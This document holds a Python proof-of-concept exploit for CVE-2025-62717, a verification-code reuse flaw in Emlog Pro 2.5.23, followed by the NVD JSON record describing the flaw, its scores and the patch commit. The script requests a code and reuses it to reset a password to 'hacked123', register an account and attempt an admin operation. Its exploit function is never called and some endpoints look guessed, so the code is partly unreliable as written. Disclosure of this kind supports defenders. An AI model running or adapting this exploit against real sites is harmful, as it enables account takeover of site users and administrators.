CVE-2025-62717

# CVE-2025-62717 Emlog Pro Verification Code Reuse PoC # This PoC demonstrates the verification code reuse vulnerability import requests import time TARGET_URL = "http://target-website.com" TARGET_EMAIL = "[email protected]" VICTIM_EMAIL = "[email protected]" def send_verification_code(email): """Step 1: Request verification code for target email""" response = requests.post( f"{TARGET_URL}/auth/verifycode", data={"email": email} ) return response def exploit_vulnerability(email, code): """ Step 2: Reuse the same verification code in different scenarios Due to clearing logic error, the same code works across modules """ # Scenario 1: Password Reset requests.post( f"{TARGET_URL}/user/resetpwd", data={"email": email, "code": code, "newpwd": "hacked123"} ) # Scenario 2: Account Registration (code still valid) requests.post( f"{TARGET_URL}/auth/register", data={"email": email, "code": code, "username": "hacker"} ) # Scenario 3: Admin operations (code not cleared properly) requests.post( f"{TARGET_URL}/admin/settings", data={"email": email, "code": code, "action": "sensitive_op"} ) def main(): print("[*] CVE-2025-62717 Emlog Pro Verification Code Reuse") print("[*] Sending verification code request...") send_verification_code(TARGET_EMAIL) print("[+] Verification code sent to:", TARGET_EMAIL) print("[*] Waiting for code (manual email check required)...") time.sleep(5) print("[*] Note: Same code can be reused across multiple verification points") print("[*] Exploitation possible due to clearing logic error in commit 1f726df") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-62717", "sourceIdentifier": "[email protected]", "published": "2025-10-24T21:16:12.963", "lastModified": "2025-10-28T14:15:50.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emlog is an open source website building system. In version 2.5.23, Emlog Pro is vulnerable to a session verification code error due to a clearing logic error. This means the verification code could be reused anywhere an email verification code is required. This issue has been fixed in commit 1f726df."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emlog:emlog:2.5.23:*:*:*:pro:*:*:*", "matchCriteriaId": "CBBD3D75-C2B3-4727-9B9E-6408956E4ADB"}]}]}], "references": [{"url": "https://github.com/emlog/emlog/commit/1f726df0ce56a1bc6e8225dd95389974173bd0c0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/emlog/emlog/security/advisories/GHSA-wwj4-ppfj-hcm6", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}